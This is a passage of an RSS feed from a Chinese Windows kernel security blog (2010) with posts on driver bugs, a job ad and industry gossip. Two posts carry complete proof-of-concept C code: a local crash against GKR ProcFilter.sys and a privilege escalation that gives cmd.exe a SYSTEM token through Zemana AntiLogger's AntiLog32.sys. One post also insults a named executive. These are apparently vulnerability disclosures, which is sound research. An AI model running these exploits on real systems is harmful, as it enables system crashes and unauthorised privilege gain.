&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  );</font></p>
<p><font color="#000000">Status = ZwOpenDirectoryObject(&amp;DirectoryHandle, DIRECTORY_QUERY, &amp;Attributes);<br>
&nbsp;&nbsp;</font></p>
<p><font color="#000000">if ( NT_SUCCESS(Status))<br>
{<br>
&nbsp;&nbsp;&nbsp;  Size = 2 * LinkName-&gt;Length + 256;</font></p>
<p><br>
<font color="#000000">&nbsp;&nbsp;&nbsp;  NameBuffer = ExAllocatePoolWithTag(PagedPool, Size, ' oI');</font></p>
<p><font color="#000000">&nbsp;&nbsp;&nbsp;  pNameBuffer = NameBuffer;</font></p>
<p><font color="#000000">&nbsp;&nbsp;&nbsp;  if ( !NameBuffer )</font></p>
<p><font color="#000000"><strong><font color="#ff0000">//没有关闭句柄<br>
</font></strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  return STATUS_INSUFFICIENT_RESOURCES;</font></p>
<p><font color="#000000">&nbsp;&nbsp;&nbsp;  SymbolicLinkName.Length = Size;<br>
&nbsp;&nbsp;&nbsp;  SymbolicLinkName.MaximumLength = Size;<br>
&nbsp;&nbsp;&nbsp;  SymbolicLinkName.Buffer = (PWSTR)NameBuffer;</font></p>
<p><font color="#000000">&nbsp;&nbsp;&nbsp;  DirInfoBuffer = (LSA_UNICODE_STRING *)ExAllocatePoolWithTag(PagedPool, 0x1000u, ' oI');<br>
&nbsp;&nbsp;&nbsp;  Buffer = DirInfoBuffer;</font></p>
<p><font color="#000000">&nbsp;&nbsp;&nbsp;  if ( !DirInfoBuffer )<br>
&nbsp;&nbsp;&nbsp;  {</font></p>
<p><font color="#000000"><strong><font color="#ff0000">//没有关闭句柄<br>
</font></strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ExFreePoolWithTag(pNameBuffer, 0);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  return STATUS_INSUFFICIENT_RESOURCES;<br>
&nbsp;&nbsp;&nbsp;  }</font></p>
<p><font color="#000000">Win7的内核似乎直接去掉了IopDeleteSessionSymLinks这个机制，所以没有这个泄露问题</font></p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/0696c62aa5d18022d52af16c.html#comment">查看评论</a>]]></description>
        <pubDate>2010-10-26  17:14</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/0696c62aa5d18022d52af16c.html</guid>
</item>

<item>
        <title><![CDATA[不知不觉访问量100万了]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/a4e68f51d1832d2a42a75bca.html]]></link>
        <description><![CDATA[
		
		如题 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/a4e68f51d1832d2a42a75bca.html#comment">查看评论</a>]]></description>
        <pubDate>2010-08-31  16:56</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/a4e68f51d1832d2a42a75bca.html</guid>
</item>

<item>
        <title><![CDATA[Vmware WorkStation 7.1.0 VMX86.SYS &#60;= 7.1.0.12623 一处BUG]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/5de4b71e5c7825124034174d.html]]></link>
        <description><![CDATA[
		
		<p>Vmware WorkStation 7.1.0 VMX86.SYS &lt;= 7.1.0.12623 的DeviceIo处理例程中存在一处BUG,可能引发系统崩溃</p>
<p>BUG位于vmx86设备的 IoControlCode = 0x8101401c , 该处理例程如下：</p>
<p>.text:000106C0 loc_106C0:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; CODE XREF: sub_10486+74 j<br>
.text:000106C0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; DATA XREF: .text:off_10F7E o<br>
.text:000106C0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;&nbsp;  2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; jumptable 000104FA case 212<br>
.text:000106C2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  pop&nbsp;&nbsp;&nbsp;&nbsp;  edi<br>
.text:000106C3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  cmp&nbsp;&nbsp;&nbsp;&nbsp;  [ebp+arg_8], edi<br>
.text:000106C6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  jb&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  loc_10509<br>
.text:000106C6<br>
.text:000106CC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  byte ptr [esi+1], 0<br>
.text:000106D0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  push&nbsp;&nbsp;&nbsp;  esi<br>
.text:000106D1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;&nbsp;  sub_13746</p>
<p>在sub_13746中有一处很明显的BUG：</p>
<p>.text:000137A4 loc_137A4:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; CODE XREF: sub_13746+BF j<br>
.text:000137A4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  cl, 1Dh&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ; NewIrql<br>
.text:000137A6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;&nbsp;  ds:<font color="#ff0000"><strong>KfRaiseIrql</strong></font><br>
.text:000137A6<br>
.text:000137AC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  bl, al<br>
.text:000137AE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  mov&nbsp;&nbsp;&nbsp;&nbsp;  al, large fs:51h<br>
.text:000137B4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  movzx&nbsp;&nbsp;  esi, al<br>
.text:000137B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  call&nbsp;&nbsp;&nbsp;  ds:<font color="#ff0000"><strong>KeQueryActiveProcessors</strong></font></p>
<p>可以看到在高IRQL下调用了<font color="#000000">KeQueryActiveProcessors这个函数</font></p>
<p><font color="#000000">参考MSDN中的描述：</font></p>
<p><font color="#000000">In Windows Vista and later versions of Windows, this routine (<strong><font color="#ff0000">KeQueryActiveProcessors）</font></strong> can be called at any IRQL. <strong>However, in Windows Server 2003 and earlier versions of Windows, this routine must be called at IRQL &lt;= APC_LEVEL.</strong></font></p>
<p><font color="#000000">在Windows 2003及以前的操作系统，KeQueryActiveProcessors这个函数所在地址是可分页的，因此在被分页的情况下，vmware-vmx.exe调用此控制码就会引发系统蓝屏</font></p>
<p><font color="#000000">不过vmx86.sys对设备打开做了控制，仅允许注册表Vmware.Inc /SID下指定用户的进程打开设备，因此这仅是一个BUG,不是拒绝服务漏洞。</font></p>
<p><font color="#000000">本来觉得VMWARE应该算是在安全和驱动稳定性方面仅次于微软的公司了，没想到连驱动校验器都不过。。。</font></p>
<p><font color="#000000">最后感谢我的同事ErayLee发现此问题</font></p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/5de4b71e5c7825124034174d.html#comment">查看评论</a>]]></description>
        <pubDate>2010-08-06  15:35</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/5de4b71e5c7825124034174d.html</guid>
</item>

<item>
        <title><![CDATA[中嘉华诚内核加固免疫系统单机版1.2.01 ProcFilter.sys 本地内核拒绝服务漏洞]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/9cc693268b7cc81a8a82a19a.html]]></link>
        <description><![CDATA[
		
		<p>中嘉华诚内核加固免疫系统GKR系列产品是北京中嘉华诚网络安全公司开发的一款安全防护软件，其内核驱动ProcFilter.sys (编译日期 = 2009.8.7 ，因该产品制作不规范，没有版本信息，因此以驱动编译日期为准） 存在多处本地内核拒绝服务漏洞，任意权限的用户可以构造特殊参数调用系统服务，引发系统崩溃</p>
<p>漏洞细节：<br>
ProcFilter.sys的作者没有内核安全编程常识，没能正确理解内核驱动中缓存处理的安全方法，例如NtCreateFile的钩子中，仅仅在对传入的用户态参数进行Probe时使用了try_except ,在Probe完毕后就在没有SEH保护下进行了参数访问，因此引发了蓝屏</p>
<p><br>
漏洞利用代码：</p>
<p><br>
#include &quot;stdafx.h&quot;<br>
#include &quot;windows.h&quot;<br>
#include &quot;winternl.h&quot;<br>
int main(int argc, char* argv[])<br>
{<br>
printf(&quot;GKR ProcFilter.sys &lt;= 2009.8.7 Local D.O.S Vuln POC\n&quot;<br>
&nbsp;&nbsp;  &quot;Press Enter\n&quot;);</p>
<p><br>
getchar();<br>
ULONG i ;</p>
<p><br>
for (i = 0x1000 ; i &lt; 0x7fff0000 ; i+=0x1000)<br>
{<br>
&nbsp;&nbsp;  if (IsBadReadPtr((PVOID)i , 1))<br>
&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;  break ; <br>
&nbsp;&nbsp;  }<br>
}<br>
printf(&quot;bad page :%08x\n&quot;,i);</p>
<p>OBJECT_ATTRIBUTES oba ; <br>
UNICODE_STRING uniname ;</p>
<p>oba.ObjectName = &amp;uniname;<br>
uniname.Length = 0x24 ; <br>
uniname.Buffer = (PWSTR)i;<br>
PVOID proc = GetProcAddress(GetModuleHandle(&quot;ntdll.dll&quot;) , &quot;NtCreateFile&quot;);</p>
<p>__asm<br>
{<br>
&nbsp;&nbsp;  push 0<br>
&nbsp;&nbsp;  push 0 <br>
&nbsp;&nbsp;  push 0<br>
&nbsp;&nbsp;  push 0 <br>
&nbsp;&nbsp;  push 0 <br>
&nbsp;&nbsp;  push 0<br>
&nbsp;&nbsp;  push 0<br>
&nbsp;&nbsp;  push 0<br>
&nbsp;&nbsp;  push 0<br>
&nbsp;&nbsp;  lea eax , oba<br>
&nbsp;&nbsp;  push eax<br>
&nbsp;&nbsp;  push 0x40000102<br>
&nbsp;&nbsp;  push 0 <br>
&nbsp;&nbsp;  call proc <br>
}</p>
<p> </p>
<p>return 0;<br>
}</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/9cc693268b7cc81a8a82a19a.html#comment">查看评论</a>]]></description>
        <pubDate>2010-08-05  20:29</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/9cc693268b7cc81a8a82a19a.html</guid>
</item>

<item>
        <title><![CDATA[Zemana AntiLogger AntiLog32.sys &#60;= 1.5.2.755 本地权限提升漏洞]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/81b09cb1369cf55908230269.html]]></link>
        <description><![CDATA[
		
		<p>影响产品版本：<br>
Zemana AntiLogger &lt;=1.9.2.2.206</p>
<p>细节：</p>
<p>AntiLog32.sys 创建名为AntiLog32的设备，并处理0x8000201c的控制码，支持将一个PID所在进程的TOKEN修改为另一个的，并没有任何安全性检查，可引发权限提升</p>
<p>在AntiLog32设备打开时，会检查当前进程是否是带数字签名的，但方法仅仅是通过map 进程的section 并检查security节是否存在，可以轻易绕过。</p>
<p>通过提权的方式是ZwSetInformationProcess-&gt;ProcessAccessToken,因此需要一个空进程或仅有一个线程的进程，需要先创建暂停的进程，提权后再resume.</p>
<p>利用代码：</p>
<p>#include &quot;stdafx.h&quot;<br>
#include &quot;windows.h&quot;<br>
#include &quot;winioctl.h&quot;<br>
#define IOCTL_IMPERSONATE_PROCESS CTL_CODE(0x8000 , 0x807 , METHOD_BUFFERED , FILE_ANY_ACCESS)</p>
<p>typedef struct _IMPERSONATE_PROCESS{<br>
 HANDLE ImpersonateProcess ; <br>
 HANDLE SystemProcess ; <br>
}IMPERSONATE_PROCESS , *PIMPERSONATE_PROCESS;</p>
<p>int main(int argc, char* argv[])<br>
{<br>
 printf(&quot;Zemana AntiLogger &lt;=1.9.2.2.206 AntiLog32.sys &lt;= 1.5.2.755\n&quot;<br>
&nbsp;&nbsp; &quot;Local Privilege Escalation Vulnerability Proof-of-Concept\n&quot;<br>
&nbsp;&nbsp; &quot;2010-7-28\n&quot;<br>
&nbsp;&nbsp; &quot;By MJ0011 <a href="mailto:th_decoder@126.com n nPress">th_decoder@126.com\n\nPress</a> Enter\n&quot;);<br>
 getchar();<br>
 <br>
 //bypass some useless create check</p>
<p> PIMAGE_DOS_HEADER pdoshdr = (PIMAGE_DOS_HEADER)GetModuleHandle(NULL);<br>
 PIMAGE_NT_HEADERS pnthdr = (PIMAGE_NT_HEADERS)((ULONG)pdoshdr + pdoshdr-&gt;e_lfanew);<br>
 PVOID waddr = &amp;pnthdr-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress ;<br>
 <br>
 ULONG oldp ;</p>
<p> VirtualProtect(waddr , sizeof(ULONG) , PAGE_READWRITE , &amp;oldp);<br>
 pnthdr-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0x1 ; <br>
 VirtualProtect(waddr , sizeof(ULONG) , oldp , &amp;oldp);</p>
<p><br>
 HANDLE hdev = CreateFile(&quot;<a>\\\\.\\AntiLog32</a>&quot; , <br>
&nbsp;&nbsp; FILE_READ_ATTRIBUTES , <br>
&nbsp;&nbsp; FILE_SHARE_READ , <br>
&nbsp;&nbsp; 0,<br>
&nbsp;&nbsp; OPEN_EXISTING , <br>
&nbsp;&nbsp; 0,0);</p>
<p> if (hdev == INVALID_HANDLE_VALUE)<br>
 {<br>
&nbsp;&nbsp; printf(&quot;cannot open device %u\n&quot; , GetLastError());<br>
&nbsp;&nbsp; getchar();<br>
&nbsp;&nbsp; return 0;</p>
<p> }</p>
<p> STARTUPINFOA sia ; <br>
 memset(&amp;sia , 0 , sizeof(sia));<br>
 sia.cb = sizeof(sia);<br>
 PROCESS_INFORMATION pi ; <br>
 memset(&amp;pi , 0 , sizeof(pi));</p>
<p> </p>
<p> if (!CreateProcess(&quot;c:\\windows\\system32\\cmd.exe&quot; , <br>
&nbsp;&nbsp; NULL , <br>
&nbsp;&nbsp; NULL,<br>
&nbsp;&nbsp; NULL,<br>
&nbsp;&nbsp; FALSE , <br>
&nbsp;&nbsp; CREATE_SUSPENDED,<br>
&nbsp;&nbsp; NULL,<br>
&nbsp;&nbsp; NULL,<br>
&nbsp;&nbsp; &amp;sia , <br>
&nbsp;&nbsp; &amp;pi))<br>
 {<br>
&nbsp;&nbsp; printf(&quot;cannot run cmd.exe....%u\n&quot;, GetLastError());<br>
&nbsp;&nbsp; getchar();<br>
&nbsp;&nbsp; return 0 ; <br>
 }</p>
<p> <br>
 IMPERSONATE_PROCESS ip ; <br>
 ip.ImpersonateProcess = (HANDLE)pi.dwProcessId ; <br>
 ip.SystemProcess = (HANDLE)4 ; //// WinXP and later<br>
 ULONG btr ;</p>
<p> if (!DeviceIoControl(hdev , IOCTL_IMPERSONATE_PROCESS , &amp;ip , sizeof(ip) , NULL , 0 , &amp;btr, 0))<br>
 {<br>
&nbsp;&nbsp; printf(&quot;cannot impersonate process %u\n&quot; , GetLastError());<br>
&nbsp;&nbsp; getchar();<br>
&nbsp;&nbsp; return 0 ; <br>
 }</p>
<p> ResumeThread(pi.hThread);</p>
<p> printf(&quot;OK\n&quot;);</p>
<p> <br>
 return 0;<br>
}</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/81b09cb1369cf55908230269.html#comment">查看评论</a>]]></description>
        <pubDate>2010-07-28  18:46</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/81b09cb1369cf55908230269.html</guid>
</item>

<item>
        <title><![CDATA[360安全卫士 招聘 内核防御产品漏洞/缺陷挖掘人员]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/533b85eed1e9b4242cf53417.html]]></link>
        <description><![CDATA[
		
		<p>工作地点：北京<br>
人数：1~2 人<br>
描述：内核防御产品的攻防漏洞挖掘、内核产品安全漏洞挖掘（白盒\黑盒）</p>
<p>通过者可同本人、PJF、Megadeth、wowocock、sudami、神秘高人N+个 等等高手牛人同在一个team工作哦~</p>
<p>要求：</p>
<p>1).熟悉各类木马病毒攻击技巧，擅于发掘安全防御产品的防护缺陷<br>
2).熟悉Windows内核原理，擅长逆向分析，熟练使用逆向和内核调试工具，如IDA 、WINDBG等<br>
3).熟悉各类安全漏洞，擅于发掘内核驱动及其他类型程序的安全漏洞</p>
<p>以上三点并非都一定要符合，符合其中任一点者亦可尝试：）</p>
<p>感兴趣的朋友请发简历到 hr-360 @ 360.cn或直接发小纸条联系我。</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/533b85eed1e9b4242cf53417.html#comment">查看评论</a>]]></description>
        <pubDate>2010-07-14  22:55</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/533b85eed1e9b4242cf53417.html</guid>
</item>

<item>
        <title><![CDATA[央视报道，年初瑞星后门案判决，瑞星被判赔偿880万]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/2f702b29158299f399250a90.html]]></link>
        <description><![CDATA[
		
		<p> </p>
<p>00:31 左右，瑞星判赔奇虎经济损失880万和精神损失1元</p>
<p> </p>
<p><a target="_blank" href="http://www.56.com/u58/v_NTI5MzM1NDM.html ">www.56.com/u58/v_NTI5MzM1NDM.html </a></p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/2f702b29158299f399250a90.html#comment">查看评论</a>]]></description>
        <pubDate>2010-07-08  22:32</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/2f702b29158299f399250a90.html</guid>
</item>

<item>
        <title><![CDATA[卡巴也玩钓鱼]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/e4a88e3d8f57b40dbba1676c.html]]></link>
        <description><![CDATA[
		
		<p>www.360.cm</p>
<p>看了就知道张立申是个多么傻逼的脑残，而标榜技术领先（其实技术相当挫）的卡巴斯基是怎么一个狗血公司~</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/e4a88e3d8f57b40dbba1676c.html#comment">查看评论</a>]]></description>
        <pubDate>2010-07-02  19:39</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/e4a88e3d8f57b40dbba1676c.html</guid>
</item>

<item>
        <title><![CDATA[干掉Flashget3的垃圾广告]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/ebf4123b4d7c93e714cecb22.html]]></link>
        <description><![CDATA[
		
		<p>flashget3的广告不但烦人，而且会严重影响远程操作（远程桌面之类）的速度</p>
<p>弹广告的是FlashGetAdProcess.exe这个进程，但是直接删除会导致flashget3无法启动，提示被破坏</p>
<p>实际是flashget3开机时load了一下这个进程，并调用导出函数checkexe。</p>
<p>只需要将其pe头+5c的地址改为1,即SubSystem改为native，就可以了，不影响加载EXE调用导出函数，但这个EXE也不会再运行起来了。</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/ebf4123b4d7c93e714cecb22.html#comment">查看评论</a>]]></description>
        <pubDate>2010-06-29  16:19</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/ebf4123b4d7c93e714cecb22.html</guid>
</item>

<item>
        <title><![CDATA[win2003 kernel source一处笔误]]></title>
        <link><![CDATA[http://hi.baidu.com/mj0011/blog/item/73c03fdd00c793d58d1029ec.html]]></link>
        <description><![CDATA[
		
		<p>ntos\ps\psenum.c</p>
<p>line 825</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Status = ObReferenceObjectByHandle (ThreadHandle,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  0,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <strong><font color="#ff0000">PsProcessType</font></strong>,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  PreviousMode,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &amp;Thread,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  NULL);</p>
<p>会导致NtGetNextThread调用失败，不过WIN2003没有在SSDT中提供这个函数，而VISTA已修复了这个问题</p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/mj0011/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/mj0011/blog/item/73c03fdd00c793d58d1029ec.html#comment">查看评论</a>]]></description>
        <pubDate>2010-05-30  22:41</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[MJ0011]]></author>
		<guid>http://hi.baidu.com/mj0011/blog/item/73c03fdd00c793d58d1029ec.html</guid>
</item>


</channel>
</rss>
